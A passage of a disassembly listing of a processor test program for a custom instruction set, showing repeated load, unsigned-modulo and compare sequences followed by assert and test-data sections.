ed30: 14 30 c4 b8 br 10 <compare>,#al
ed34: 00 10 00 41 add r2,1
ed38: 0d 46 91 0c wl16 r8,0x348c
ed3c: 0d 60 01 03 wh16 r8,0x3
ed40: 10 40 01 08 ld32 r8,r8
ed44: 0d 46 d9 24 wl16 r9,0x36c4
ed48: 0d 60 01 23 wh16 r9,0x3
ed4c: 10 40 01 29 ld32 r9,r9
ed50: 00 b0 01 08 umod r8,0x8
ed54: 20 70 03 e2 movepc rret,8
ed58: 14 30 c4 ae br 10 <compare>,#al
ed5c: 00 10 00 41 add r2,1
ed60: 0d 46 91 10 wl16 r8,0x3490
ed64: 0d 60 01 03 wh16 r8,0x3
ed68: 10 40 01 08 ld32 r8,r8
ed6c: 0d 46 d9 28 wl16 r9,0x36c8
ed70: 0d 60 01 23 wh16 r9,0x3
ed74: 10 40 01 29 ld32 r9,r9
ed78: 00 b0 01 10 umod r8,0x10
ed7c: 20 70 03 e2 movepc rret,8
ed80: 14 30 c4 a4 br 10 <compare>,#al
ed84: 00 10 00 41 add r2,1
ed88: 0d 46 91 14 wl16 r8,0x3494
ed8c: 0d 60 01 03 wh16 r8,0x3
ed90: 10 40 01 08 ld32 r8,r8
ed94: 0d 46 d9 2c wl16 r9,0x36cc
ed98: 0d 60 01 23 wh16 r9,0x3
ed9c: 10 40 01 29 ld32 r9,r9
eda0: 00 b0 05 00 umod r8,0x20
eda4: 20 70 03 e2 movepc rret,8
eda8: 14 30 c4 9a br 10 <compare>,#al
edac: 00 10 00 41 add r2,1
edb0: 0d 46 91 18 wl16 r8,0x3498
edb4: 0d 60 01 03 wh16 r8,0x3
edb8: 10 40 01 08 ld32 r8,r8
edbc: 0d 46 d9 30 wl16 r9,0x36d0
edc0: 0d 60 01 23 wh16 r9,0x3
edc4: 10 40 01 29 ld32 r9,r9
edc8: 00 b0 09 00 umod r8,0x40
edcc: 20 70 03 e2 movepc rret,8
edd0: 14 30 c4 90 br 10 <compare>,#al
edd4: 00 10 00 41 add r2,1
edd8: 0d 46 91 1c wl16 r8,0x349c
eddc: 0d 60 01 03 wh16 r8,0x3
ede0: 10 40 01 08 ld32 r8,r8
ede4: 0d 46 d9 34 wl16 r9,0x36d4
ede8: 0d 60 01 23 wh16 r9,0x3
edec: 10 40 01 29 ld32 r9,r9
edf0: 00 b0 11 00 umod r8,0x80
edf4: 20 70 03 e2 movepc rret,8
edf8: 14 30 c4 86 br 10 <compare>,#al
edfc: 00 10 00 41 add r2,1
ee00: 0d 46 95 00 wl16 r8,0x34a0
ee04: 0d 60 01 03 wh16 r8,0x3
ee08: 10 40 01 08 ld32 r8,r8
ee0c: 0d 46 d9 38 wl16 r9,0x36d8
ee10: 0d 60 01 23 wh16 r9,0x3
ee14: 10 40 01 29 ld32 r9,r9
ee18: 00 b0 21 00 umod r8,0x100
ee1c: 20 70 03 e2 movepc rret,8
ee20: 14 30 c4 7c br 10 <compare>,#al
ee24: 00 10 00 41 add r2,1
ee28: 0d 46 95 04 wl16 r8,0x34a4
ee2c: 0d 60 01 03 wh16 r8,0x3
ee30: 10 40 01 08 ld32 r8,r8
ee34: 0d 46 d9 3c wl16 r9,0x36dc
ee38: 0d 60 01 23 wh16 r9,0x3
ee3c: 10 40 01 29 ld32 r9,r9
ee40: 00 b0 41 00 umod r8,0x200
ee44: 20 70 03 e2 movepc rret,8
ee48: 14 30 c4 72 br 10 <compare>,#al
ee4c: 00 10 00 41 add r2,1
ee50: 0d 46 95 08 wl16 r8,0x34a8
ee54: 0d 60 01 03 wh16 r8,0x3
ee58: 10 40 01 08 ld32 r8,r8
ee5c: 0d 46 dd 20 wl16 r9,0x36e0
ee60: 0d 60 01 23 wh16 r9,0x3
ee64: 10 40 01 29 ld32 r9,r9
ee68: 00 b0 81 00 umod r8,0x400
ee6c: 20 70 03 e2 movepc rret,8
ee70: 14 30 c4 68 br 10 <compare>,#al
ee74: 00 10 00 41 add r2,1
ee78: 0d 46 95 0c wl16 r8,0x34ac
ee7c: 0d 60 01 03 wh16 r8,0x3
ee80: 10 40 01 08 ld32 r8,r8
ee84: 0d 46 dd 24 wl16 r9,0x36e4
ee88: 0d 60 01 23 wh16 r9,0x3
ee8c: 10 40 01 29 ld32 r9,r9
ee90: 00 b0 01 01 umod r8,0x1
ee94: 20 70 03 e2 movepc rret,8
ee98: 14 30 c4 5e br 10 <compare>,#al
ee9c: 00 10 00 41 add r2,1
eea0: 0d 46 95 10 wl16 r8,0x34b0
eea4: 0d 60 01 03 wh16 r8,0x3
eea8: 10 40 01 08 ld32 r8,r8
eeac: 0d 46 dd 28 wl16 r9,0x36e8
eeb0: 0d 60 01 23 wh16 r9,0x3
eeb4: 10 40 01 29 ld32 r9,r9
eeb8: 00 b0 01 02 umod r8,0x2
eebc: 20 70 03 e2 movepc rret,8
eec0: 14 30 c4 54 br 10 <compare>,#al
eec4: 00 10 00 41 add r2,1
eec8: 0d 46 95 14 wl16 r8,0x34b4
eecc: 0d 60 01 03 wh16 r8,0x3
eed0: 10 40 01 08 ld32 r8,r8
eed4: 0d 46 dd 2c wl16 r9,0x36ec
eed8: 0d 60 01 23 wh16 r9,0x3
eedc: 10 40 01 29 ld32 r9,r9
eee0: 00 b0 01 04 umod r8,0x4
eee4: 20 70 03 e2 movepc rret,8
eee8: 14 30 c4 4a br 10 <compare>,#al
eeec: 00 10 00 41 add r2,1
eef0: 0d 46 95 18 wl16 r8,0x34b8
eef4: 0d 60 01 03 wh16 r8,0x3
eef8: 10 40 01 08 ld32 r8,r8
eefc: 0d 46 dd 30 wl16 r9,0x36f0
ef00: 0d 60 01 23 wh16 r9,0x3
ef04: 10 40 01 29 ld32 r9,r9
ef08: 00 b0 01 08 umod r8,0x8
ef0c: 20 70 03 e2 movepc rret,8
ef10: 14 30 c4 40 br 10 <compare>,#al
ef14: 00 10 00 41 add r2,1
ef18: 0d 46 95 1c wl16 r8,0x34bc
ef1c: 0d 60 01 03 wh16 r8,0x3
ef20: 10 40 01 08 ld32 r8,r8
ef24: 0d 46 dd 34 wl16 r9,0x36f4
ef28: 0d 60 01 23 wh16 r9,0x3
ef2c: 10 40 01 29 ld32 r9,r9
ef30: 00 b0 01 10 umod r8,0x10
ef34: 20 70 03 e2 movepc rret,8
ef38: 14 30 c4 36 br 10 <compare>,#al
ef3c: 00 10 00 41 add r2,1
ef40: 0d 46 99 00 wl16 r8,0x34c0
ef44: 0d 60 01 03 wh16 r8,0x3
ef48: 10 40 01 08 ld32 r8,r8
ef4c: 0d 46 dd 38 wl16 r9,0x36f8
ef50: 0d 60 01 23 wh16 r9,0x3
ef54: 10 40 01 29 ld32 r9,r9
ef58: 00 b0 05 00 umod r8,0x20
ef5c: 20 70 03 e2 movepc rret,8
ef60: 14 30 c4 2c br 10 <compare>,#al
ef64: 00 10 00 41 add r2,1
ef68: 0d 46 99 04 wl16 r8,0x34c4
ef6c: 0d 60 01 03 wh16 r8,0x3
ef70: 10 40 01 08 ld32 r8,r8
ef74: 0d 46 dd 3c wl16 r9,0x36fc
ef78: 0d 60 01 23 wh16 r9,0x3
ef7c: 10 40 01 29 ld32 r9,r9
ef80: 00 b0 09 00 umod r8,0x40
ef84: 20 70 03 e2 movepc rret,8
ef88: 14 30 c4 22 br 10 <compare>,#al
ef8c: 00 10 00 41 add r2,1
ef90: 0d 46 99 08 wl16 r8,0x34c8
ef94: 0d 60 01 03 wh16 r8,0x3
ef98: 10 40 01 08 ld32 r8,r8
ef9c: 0d 46 e1 20 wl16 r9,0x3700
efa0: 0d 60 01 23 wh16 r9,0x3
efa4: 10 40 01 29 ld32 r9,r9
efa8: 00 b0 11 00 umod r8,0x80
efac: 20 70 03 e2 movepc rret,8
efb0: 14 30 c4 18 br 10 <compare>,#al
efb4: 00 10 00 41 add r2,1
efb8: 0d 46 99 0c wl16 r8,0x34cc
efbc: 0d 60 01 03 wh16 r8,0x3
efc0: 10 40 01 08 ld32 r8,r8
efc4: 0d 46 e1 24 wl16 r9,0x3704
efc8: 0d 60 01 23 wh16 r9,0x3
efcc: 10 40 01 29 ld32 r9,r9
efd0: 00 b0 21 00 umod r8,0x100
efd4: 20 70 03 e2 movepc rret,8
efd8: 14 30 c4 0e br 10 <compare>,#al
efdc: 00 10 00 41 add r2,1
efe0: 0d 46 99 10 wl16 r8,0x34d0
efe4: 0d 60 01 03 wh16 r8,0x3
efe8: 10 40 01 08 ld32 r8,r8
efec: 0d 46 e1 28 wl16 r9,0x3708
eff0: 0d 60 01 23 wh16 r9,0x3
eff4: 10 40 01 29 ld32 r9,r9
eff8: 00 b0 41 00 umod r8,0x200
effc: 20 70 03 e2 movepc rret,8
f000: 14 30 c4 04 br 10 <compare>,#al
f004: 00 10 00 41 add r2,1
f008: 0d 46 99 14 wl16 r8,0x34d4
f00c: 0d 60 01 03 wh16 r8,0x3
f010: 10 40 01 08 ld32 r8,r8
f014: 0d 46 e1 2c wl16 r9,0x370c
f018: 0d 60 01 23 wh16 r9,0x3
f01c: 10 40 01 29 ld32 r9,r9
f020: 00 b0 81 00 umod r8,0x400
f024: 20 70 03 e2 movepc rret,8
f028: 14 30 c3 fa br 10 <compare>,#al
f02c: 00 10 00 41 add r2,1
f030: 0d 46 99 18 wl16 r8,0x34d8
f034: 0d 60 01 03 wh16 r8,0x3
f038: 10 40 01 08 ld32 r8,r8
f03c: 0d 46 e1 30 wl16 r9,0x3710
f040: 0d 60 01 23 wh16 r9,0x3
f044: 10 40 01 29 ld32 r9,r9
f048: 00 b0 01 01 umod r8,0x1
f04c: 20 70 03 e2 movepc rret,8
f050: 14 30 c3 f0 br 10 <compare>,#al
f054: 00 10 00 41 add r2,1
f058: 0d 46 99 1c wl16 r8,0x34dc
f05c: 0d 60 01 03 wh16 r8,0x3
f060: 10 40 01 08 ld32 r8,r8
f064: 0d 46 e1 34 wl16 r9,0x3714
f068: 0d 60 01 23 wh16 r9,0x3
f06c: 10 40 01 29 ld32 r9,r9
f070: 00 b0 01 02 umod r8,0x2
f074: 20 70 03 e2 movepc rret,8
f078: 14 30 c3 e6 br 10 <compare>,#al
f07c: 00 10 00 41 add r2,1
f080: 0d 46 9d 00 wl16 r8,0x34e0
f084: 0d 60 01 03 wh16 r8,0x3
f088: 10 40 01 08 ld32 r8,r8
f08c: 0d 46 e1 38 wl16 r9,0x3718
f090: 0d 60 01 23 wh16 r9,0x3
f094: 10 40 01 29 ld32 r9,r9
f098: 00 b0 01 04 umod r8,0x4
f09c: 20 70 03 e2 movepc rret,8
f0a0: 14 30 c3 dc br 10 <compare>,#al
f0a4: 00 10 00 41 add r2,1
f0a8: 0d 46 9d 04 wl16 r8,0x34e4
f0ac: 0d 60 01 03 wh16 r8,0x3
f0b0: 10 40 01 08 ld32 r8,r8
f0b4: 0d 46 e1 3c wl16 r9,0x371c
f0b8: 0d 60 01 23 wh16 r9,0x3
f0bc: 10 40 01 29 ld32 r9,r9
f0c0: 00 b0 01 08 umod r8,0x8
f0c4: 20 70 03 e2 movepc rret,8
f0c8: 14 30 c3 d2 br 10 <compare>,#al
f0cc: 00 10 00 41 add r2,1
f0d0: 0d 46 9d 08 wl16 r8,0x34e8
f0d4: 0d 60 01 03 wh16 r8,0x3
f0d8: 10 40 01 08 ld32 r8,r8
f0dc: 0d 46 e5 20 wl16 r9,0x3720
f0e0: 0d 60 01 23 wh16 r9,0x3
f0e4: 10 40 01 29 ld32 r9,r9
f0e8: 00 b0 01 10 umod r8,0x10
f0ec: 20 70 03 e2 movepc rret,8
f0f0: 14 30 c3 c8 br 10 <compare>,#al
f0f4: 00 10 00 41 add r2,1
f0f8: 0d 46 9d 0c wl16 r8,0x34ec
f0fc: 0d 60 01 03 wh16 r8,0x3
f100: 10 40 01 08 ld32 r8,r8
f104: 0d 46 e5 24 wl16 r9,0x3724
f108: 0d 60 01 23 wh16 r9,0x3
f10c: 10 40 01 29 ld32 r9,r9
f110: 00 b0 05 00 umod r8,0x20
f114: 20 70 03 e2 movepc rret,8
f118: 14 30 c3 be br 10 <compare>,#al
f11c: 00 10 00 41 add r2,1
f120: 0d 46 9d 10 wl16 r8,0x34f0
f124: 0d 60 01 03 wh16 r8,0x3
f128: 10 40 01 08 ld32 r8,r8
f12c: 0d 46 e5 28 wl16 r9,0x3728
f130: 0d 60 01 23 wh16 r9,0x3
f134: 10 40 01 29 ld32 r9,r9
f138: 00 b0 09 00 umod r8,0x40
f13c: 20 70 03 e2 movepc rret,8
f140: 14 30 c3 b4 br 10 <compare>,#al
f144: 00 10 00 41 add r2,1
f148: 0d 46 9d 14 wl16 r8,0x34f4
f14c: 0d 60 01 03 wh16 r8,0x3
f150: 10 40 01 08 ld32 r8,r8
f154: 0d 46 e5 2c wl16 r9,0x372c
f158: 0d 60 01 23 wh16 r9,0x3
f15c: 10 40 01 29 ld32 r9,r9
f160: 00 b0 11 00 umod r8,0x80
f164: 20 70 03 e2 movepc rret,8
f168: 14 30 c3 aa br 10 <compare>,#al
f16c: 00 10 00 41 add r2,1
f170: 0d 46 9d 18 wl16 r8,0x34f8
f174: 0d 60 01 03 wh16 r8,0x3
f178: 10 40 01 08 ld32 r8,r8
f17c: 0d 46 e5 30 wl16 r9,0x3730
f180: 0d 60 01 23 wh16 r9,0x3
f184: 10 40 01 29 ld32 r9,r9
f188: 00 b0 21 00 umod r8,0x100
f18c: 20 70 03 e2 movepc rret,8
f190: 14 30 c3 a0 br 10 <compare>,#al
f194: 00 10 00 41 add r2,1
f198: 0d 46 9d 1c wl16 r8,0x34fc
f19c: 0d 60 01 03 wh16 r8,0x3
f1a0: 10 40 01 08 ld32 r8,r8
f1a4: 0d 46 e5 34 wl16 r9,0x3734
f1a8: 0d 60 01 23 wh16 r9,0x3
f1ac: 10 40 01 29 ld32 r9,r9
f1b0: 00 b0 41 00 umod r8,0x200
f1b4: 20 70 03 e2 movepc rret,8
f1b8: 14 30 c3 96 br 10 <compare>,#al
f1bc: 00 10 00 41 add r2,1
f1c0: 0d 46 a1 00 wl16 r8,0x3500
f1c4: 0d 60 01 03 wh16 r8,0x3
f1c8: 10 40 01 08 ld32 r8,r8
f1cc: 0d 46 e5 38 wl16 r9,0x3738
f1d0: 0d 60 01 23 wh16 r9,0x3
f1d4: 10 40 01 29 ld32 r9,r9
f1d8: 00 b0 81 00 umod r8,0x400
f1dc: 20 70 03 e2 movepc rret,8
f1e0: 14 30 c3 8c br 10 <compare>,#al
f1e4: 00 10 00 41 add r2,1
f1e8: 0d 46 a1 04 wl16 r8,0x3504
f1ec: 0d 60 01 03 wh16 r8,0x3
f1f0: 10 40 01 08 ld32 r8,r8
f1f4: 0d 46 e5 3c wl16 r9,0x373c
f1f8: 0d 60 01 23 wh16 r9,0x3
f1fc: 10 40 01 29 ld32 r9,r9
f200: 00 b0 01 03 umod r8,0x3
f204: 20 70 03 e2 movepc rret,8
f208: 14 30 c3 82 br 10 <compare>,#al
f20c: 00 10 00 41 add r2,1
f210: 0d 46 a1 08 wl16 r8,0x3508
f214: 0d 60 01 03 wh16 r8,0x3
f218: 10 40 01 08 ld32 r8,r8
f21c: 0d 46 e9 20 wl16 r9,0x3740
f220: 0d 60 01 23 wh16 r9,0x3
f224: 10 40 01 29 ld32 r9,r9
f228: 00 b0 01 07 umod r8,0x7
f22c: 20 70 03 e2 movepc rret,8
f230: 14 30 c3 78 br 10 <compare>,#al
f234: 00 10 00 41 add r2,1
f238: 0d 46 a1 0c wl16 r8,0x350c
f23c: 0d 60 01 03 wh16 r8,0x3
f240: 10 40 01 08 ld32 r8,r8
f244: 0d 46 e9 24 wl16 r9,0x3744
f248: 0d 60 01 23 wh16 r9,0x3
f24c: 10 40 01 29 ld32 r9,r9
f250: 00 b0 01 0f umod r8,0xf
f254: 20 70 03 e2 movepc rret,8
f258: 14 30 c3 6e br 10 <compare>,#al
f25c: 00 10 00 41 add r2,1
f260: 0d 46 a1 10 wl16 r8,0x3510
f264: 0d 60 01 03 wh16 r8,0x3
f268: 10 40 01 08 ld32 r8,r8
f26c: 0d 46 e9 28 wl16 r9,0x3748
f270: 0d 60 01 23 wh16 r9,0x3
f274: 10 40 01 29 ld32 r9,r9
f278: 00 b0 01 1f umod r8,0x1f
f27c: 20 70 03 e2 movepc rret,8
f280: 14 30 c3 64 br 10 <compare>,#al
f284: 00 10 00 41 add r2,1
f288: 0d 46 a1 14 wl16 r8,0x3514
f28c: 0d 60 01 03 wh16 r8,0x3
f290: 10 40 01 08 ld32 r8,r8
f294: 0d 46 e9 2c wl16 r9,0x374c
f298: 0d 60 01 23 wh16 r9,0x3
f29c: 10 40 01 29 ld32 r9,r9
f2a0: 00 b0 05 1f umod r8,0x3f
f2a4: 20 70 03 e2 movepc rret,8
f2a8: 14 30 c3 5a br 10 <compare>,#al
f2ac: 00 10 00 41 add r2,1
f2b0: 0d 46 a1 18 wl16 r8,0x3518
f2b4: 0d 60 01 03 wh16 r8,0x3
f2b8: 10 40 01 08 ld32 r8,r8
f2bc: 0d 46 e9 30 wl16 r9,0x3750
f2c0: 0d 60 01 23 wh16 r9,0x3
f2c4: 10 40 01 29 ld32 r9,r9
f2c8: 00 b0 0d 1f umod r8,0x7f
f2cc: 20 70 03 e2 movepc rret,8
f2d0: 14 30 c3 50 br 10 <compare>,#al
f2d4: 00 10 00 41 add r2,1
f2d8: 0d 46 a1 1c wl16 r8,0x351c
f2dc: 0d 60 01 03 wh16 r8,0x3
f2e0: 10 40 01 08 ld32 r8,r8
f2e4: 0d 46 e9 34 wl16 r9,0x3754
f2e8: 0d 60 01 23 wh16 r9,0x3
f2ec: 10 40 01 29 ld32 r9,r9
f2f0: 00 b0 1d 1f umod r8,0xff
f2f4: 20 70 03 e2 movepc rret,8
f2f8: 14 30 c3 46 br 10 <compare>,#al
f2fc: 00 10 00 41 add r2,1
f300: 0d 46 a5 00 wl16 r8,0x3520
f304: 0d 60 01 03 wh16 r8,0x3
f308: 10 40 01 08 ld32 r8,r8
f30c: 0d 46 e9 38 wl16 r9,0x3758
f310: 0d 60 01 23 wh16 r9,0x3
f314: 10 40 01 29 ld32 r9,r9
f318: 00 b0 3d 1f umod r8,0x1ff
f31c: 20 70 03 e2 movepc rret,8
f320: 14 30 c3 3c br 10 <compare>,#al
f324: 00 10 00 41 add r2,1
f328: 0d 46 a5 04 wl16 r8,0x3524
f32c: 0d 60 01 03 wh16 r8,0x3
f330: 10 40 01 08 ld32 r8,r8
f334: 0d 46 e9 3c wl16 r9,0x375c
f338: 0d 60 01 23 wh16 r9,0x3
f33c: 10 40 01 29 ld32 r9,r9
f340: 00 b0 7d 1f umod r8,0x3ff
f344: 20 70 03 e2 movepc rret,8
f348: 14 30 c3 32 br 10 <compare>,#al
f34c: 00 10 00 41 add r2,1
f350: 0d 46 a5 08 wl16 r8,0x3528
f354: 0d 60 01 03 wh16 r8,0x3
f358: 10 40 01 08 ld32 r8,r8
f35c: 0d 46 ed 20 wl16 r9,0x3760
f360: 0d 60 01 23 wh16 r9,0x3
f364: 10 40 01 29 ld32 r9,r9
f368: 00 b0 fd 1f umod r8,0x7ff
f36c: 20 70 03 e2 movepc rret,8
f370: 14 30 c3 28 br 10 <compare>,#al
f374: 00 10 00 41 add r2,1
f378: 14 30 c3 38 br 58 <finish>,#al
セクション .assert の逆アセンブル:
00020000 <CHECK_FLAG>:
20000: 00 00 00 01 add r0,r1
00020004 <CHECK_FINISH>:
20004: 00 00 00 00 add r0,r0
00020008 <ERROR_TYPE>:
20008: 00 00 00 00 add r0,r0
0002000c <ERROR_NUMBER>:
2000c: 00 00 00 00 add r0,r0
00020010 <ERROR_RESULT>:
20010: 00 00 00 00 add r0,r0
00020014 <ERROR_EXPECT>:
20014: 00 00 00 00 add r0,r0
セクション .data の逆アセンブル:
00030000 <T_SRC0_0>:
30000: 00 00 00 00 add r0,r0
00030004 <T_SRC0_1>:
30004: 00 00 00 00 add r0,r0
00030008 <T_SRC0_2>:
30008: 00 00 00 00 add r0,r0
0003000c <T_SRC0_3>:
3000c: 00 00 00 00 add r0,r0
00030010 <T_SRC0_4>:
30010: 00 00 00 00 add r0,r0
00030014 <T_SRC0_5>:
30014: 00 00 00 00 add r0,r0
00030018 <T_SRC0_6>:
30018: 00 00 00 00 add r0,r0
0003001c <T_SRC0_7>:
3001c: 00 00 00 00 add r0,r0
00030020 <T_SRC0_8>:
30020: 00 00 00 00 add r0,r0
00030024 <T_SRC0_9>:
30024: 00 00 00 00 add r0,r0
00030028 <T_SRC0_10>:
30028: 00 00 00 00 add r0,r0
0003002c <T_SRC0_11>:
3002c: 00 00 00 00 add r0,r0
00030030 <T_SRC0_12>:
30030: 00 00 00 00 add r0,r0
00030034 <T_SRC0_13>:
30034: 00 00 00 00 add r0,r0
00030038 <T_SRC0_14>:
30038: 00 00 00 00 add r0,r0
0003003c <T_SRC0_15>:
3003c: 00 00 00 00 add r0,r0
00030040 <T_SRC0_16>:
30040: 00 00 00 00 add r0,r0
00030044 <T_SRC0_17>:
30044: 00 00 00 00 add r0,r0
00030048 <T_SRC0_18>:
30048: 00 00 00 00 add r0,r0
0003004c <T_SRC0_19>:
3004c: 00 00 00 00 add r0,r0
00030050 <T_SRC0_20>:
30050: 00 00 00 00 add r0,r0
00030054 <T_SRC0_21>:
30054: 00 00 00 00 add r0,r0
00030058 <T_SRC0_22>:
30058: 00 00 00 00 add r0,r0
0003005c <T_SRC0_23>:
3005c: 00 00 00 00 add r0,r0
00030060 <T_SRC0_24>:
30060: 00 00 00 00 add r0,r0
00030064 <T_SRC0_25>:
30064: 00 00 00 00 add r0,r0
00030068 <T_SRC0_26>:
30068: 00 00 00 00 add r0,r0
0003006c <T_SRC0_27>:
3006c: 00 00 00 00 add r0,r0
00030070 <T_SRC0_28>:
30070: 00 00 00 00 add r0,r0
00030074 <T_SRC0_29>:
30074: 00 00 00 00 add r0,r0
00030078 <T_SRC0_30>:
30078: 00 00 00 00 add r0,r0
0003007c <T_SRC0_31>:
3007c: 00 00 00 00 add r0,r0
00030080 <T_SRC0_32>:
30080: 00 00 00 01 add r0,r1
00030084 <T_SRC0_33>:
30084: 00 00 00 01 add r0,r1
00030088 <T_SRC0_34>:
30088: 00 00 00 01 add r0,r1
0003008c <T_SRC0_35>:
3008c: 00 00 00 01 add r0,r1
00030090 <T_SRC0_36>:
30090: 00 00 00 01 add r0,r1
00030094 <T_SRC0_37>:
30094: 00 00 00 01 add r0,r1
00030098 <T_SRC0_38>:
30098: 00 00 00 01 add r0,r1
0003009c <T_SRC0_39>:
3009c: 00 00 00 01 add r0,r1
000300a0 <T_SRC0_40>:
300a0: 00 00 00 01 add r0,r1
000300a4 <T_SRC0_41>:
300a4: 00 00 00 01 add r0,r1
000300a8 <T_SRC0_42>:
300a8: 00 00 00 01 add r0,r1
000300ac <T_SRC0_43>:
300ac: 00 00 00 01 add r0,r1
000300b0 <T_SRC0_44>:
300b0: 00 00 00 01 add r0,r1
000300b4 <T_SRC0_45>:
300b4: 00 00 00 01 add r0,r1
000300b8 <T_SRC0_46>:
300b8: 00 00 00 01 add r0,r1
000300bc <T_SRC0_47>:
300bc: 00 00 00 01 add r0,r1
000300c0 <T_SRC0_48>:
300c0: 00 00 00 01 add r0,r1
000300c4 <T_SRC0_49>:
300c4: 00 00 00 01 add r0,r1
000300c8 <T_SRC0_50>:
300c8: 00 00 00 01 add r0,r1
000300cc <T_SRC0_51>:
300cc: 00 00 00 01 add r0,r1
000300d0 <T_SRC0_52>:
300d0: 00 00 00 01 add r0,r1
000300d4 <T_SRC0_53>:
300d4: 00 00 00 01 add r0,r1
000300d8 <T_SRC0_54>:
300d8: 00 00 00 01 add r0,r1
000300dc <T_SRC0_55>:
300dc: 00 00 00 01 add r0,r1
000300e0 <T_SRC0_56>:
300e0: 00 00 00 01 add r0,r1
000300e4 <T_SRC0_57>:
300e4: 00 00 00 01 add r0,r1
000300e8 <T_SRC0_58>:
300e8: 00 00 00 01 add r0,r1
000300ec <T_SRC0_59>:
300ec: 00 00 00 01 add r0,r1
000300f0 <T_SRC0_60>:
300f0: 00 00 00 01 add r0,r1
000300f4 <T_SRC0_61>:
300f4: 00 00 00 01 add r0,r1
000300f8 <T_SRC0_62>:
300f8: 00 00 00 01 add r0,r1
000300fc <T_SRC0_63>:
300fc: 00 00 00 01 add r0,r1
00030100 <T_SRC0_64>:
30100: 00 00 00 02 add r0,r2
00030104 <T_SRC0_65>:
30104: 00 00 00 02 add r0,r2
00030108 <T_SRC0_66>:
30108: 00 00 00 02 add r0,r2
0003010c <T_SRC0_67>:
3010c: 00 00 00 02 add r0,r2
00030110 <T_SRC0_68>:
30110: 00 00 00 02 add r0,r2
00030114 <T_SRC0_69>:
30114: 00 00 00 02 add r0,r2
00030118 <T_SRC0_70>:
30118: 00 00 00 02 add r0,r2
0003011c <T_SRC0_71>:
3011c: 00 00 00 02 add r0,r2
00030120 <T_SRC0_72>:
30120: 00 00 00 02 add r0,r2
00030124 <T_SRC0_73>:
30124: 00 00 00 02 add r0,r2
00030128 <T_SRC0_74>:
30128: 00 00 00 02 add r0,r2
0003012c <T_SRC0_75>:
3012c: 00 00 00 02 add r0,r2
00030130 <T_SRC0_76>:
30130: 00 00 00 02 add r0,r2
00030134 <T_SRC0_77>:
30134: 00 00 00 02 add r0,r2
00030138 <T_SRC0_78>:
30138: 00 00 00 02 add r0,r2
0003013c <T_SRC0_79>:
3013c: 00 00 00 02 add r0,r2
00030140 <T_SRC0_80>:
30140: 00 00 00 02 add r0,r2
00030144 <T_SRC0_81>:
30144: 00 00 00 02 add r0,r2
00030148 <T_SRC0_82>:
30148: 00 00 00 02 add r0,r2
0003014c <T_SRC0_83>:
3014c: 00 00 00 02 add r0,r2
00030150 <T_SRC0_84>:
30150: 00 00 00 02 add r0,r2
00030154 <T_SRC0_85>:
30154: 00 00 00 02 add r0,r2
00030158 <T_SRC0_86>:
30158: 00 00 00 02 add r0,r2
0003015c <T_SRC0_87>:
3015c: 00 00 00 02 add r0,r2
00030160 <T_SRC0_88>:
30160: 00 00 00 02 add r0,r2
00030164 <T_SRC0_89>:
30164: 00 00 00 02 add r0,r2
00030168 <T_SRC0_90>:
30168: 00 00 00 02 add r0,r2
0003016c <T_SRC0_91>:
3016c: 00 00 00 02 add r0,r2
00030170 <T_SRC0_92>:
30170: 00 00 00 02 add r0,r2
00030174 <T_SRC0_93>:
30174: 00 00 00 02 add r0,r2
00030178 <T_SRC0_94>:
30178: 00 00 00 02 add r0,r2
0003017c <T_SRC0_95>:
3017c: 00 00 00 02 add r0,r2
00030180 <T_SRC0_96>:
30180: 00 00 00 04 add r0,r4
00030184 <T_SRC0_97>:
30184: 00 00 00 04 add r0,r4
00030188 <T_SRC0_98>:
30188: 00 00 00 04 add r0,r4
0003018c <T_SRC0_99>:
3018c: 00 00 00 04 add r0,r4
00030190 <T_SRC0_100>:
30190: 00 00 00 04 add r0,r4
00030194 <T_SRC0_101>:
30194: 00 00 00 04 add r0,r4
00030198 <T_SRC0_102>:
30198: 00 00 00 04 add r0,r4
0003019c <T_SRC0_103>:
3019c: 00 00 00 04 add r0,r4
000301a0 <T_SRC0_104>:
301a0: 00 00 00 04 add r0,r4
000301a4 <T_SRC0_105>:
301a4: 00 00 00 04 add r0,r4
000301a8 <T_SRC0_106>:
301a8: 00 00 00 04 add r0,r4
000301ac <T_SRC0_107>:
301ac: 00 00 00 04 add r0,r4
000301b0 <T_SRC0_108>:
301b0: 00 00 00 04 add r0,r4
000301b4 <T_SRC0_109>:
301b4: 00 00 00 04 add r0,r4
000301b8 <T_SRC0_110>:
301b8: 00 00 00 04 add r0,r4
000301bc <T_SRC0_111>:
301bc: 00 00 00 04 add r0,r4
000301c0 <T_SRC0_112>:
301c0: 00 00 00 04 add r0,r4
000301c4 <T_SRC0_113>:
301c4: 00 00 00 04 add r0,r4
000301c8 <T_SRC0_114>:
301c8: 00 00 00 04 add r0,r4
000301cc <T_SRC0_115>:
301cc: 00 00 00 04 add r0,r4
000301d0 <T_SRC0_116>:
301d0: 00 00 00 04 add r0,r4
000301d4 <T_SRC0_117>:
301d4: 00 00 00 04 add r0,r4
000301d8 <T_SRC0_118>:
301d8: 00 00 00 04 add r0,r4
000301dc <T_SRC0_119>:
301dc: 00 00 00 04 add r0,r4
000301e0 <T_SRC0_120>:
301e0: 00 00 00 04 add r0,r4
000301e4 <T_SRC0_121>:
301e4: 00 00 00 04 add r0,r4
000301e8 <T_SRC0_122>:
301e8: 00 00 00 04 add r0,r4
000301ec <T_SRC0_123>:
301ec: 00 00 00 04 add r0,r4
000301f0 <T_SRC0_124>:
301f0: 00 00 00 04 add r0,r4
000301f4 <T_SRC0_125>:
301f4: 00 00 00 04 add r0,r4
000301f8 <T_SRC0_126>:
301f8: 00 00 00 04 add r0,r4
000301fc <T_SRC0_127>:
301fc: 00 00 00 04 add r0,r4
00030200 <T_SRC0_128>:
30200: 00 00 00 08 add r0,r8
00030204 <T_SRC0_129>:
30204: 00 00 00 08 add r0,r8
00030208 <T_SRC0_130>:
30208: 00 00 00 08 add r0,r8
0003020c <T_SRC0_131>:
3020c: 00 00 00 08 add r0,r8
00030210 <T_SRC0_132>:
30210: 00 00 00 08 add r0,r8
00030214 <T_SRC0_133>:
30214: 00 00 00 08 add r0,r8
00030218 <T_SRC0_134>:
30218: 00 00 00 08 add r0,r8
0003021c <T_SRC0_135>:
3021c: 00 00 00 08 add r0,r8
00030220 <T_SRC0_136>:
30220: 00 00 00 08 add r0,r8
00030224 <T_SRC0_137>:
30224: 00 00 00 08 add r0,r8
00030228 <T_SRC0_138>:
30228: 00 00 00 08 add r0,r8
0003022c <T_SRC0_139>:
3022c: 00 00 00 08 add r0,r8
00030230 <T_SRC0_140>:
30230: 00 00 00 08 add r0,r8
